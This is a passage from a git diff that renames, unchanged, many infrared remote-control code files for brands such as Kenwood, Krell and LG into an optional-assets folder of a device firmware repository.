assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kenwood/VCR/184,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kingbox/h265/1,254.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Knoll/Video Projector/24,233.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/CD Player/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/DVD Player/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Receiver/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Blu-Ray/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/16,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/DVR/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Plasma/1,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/TV/1,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/LXI/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir similarity index 100% rename from 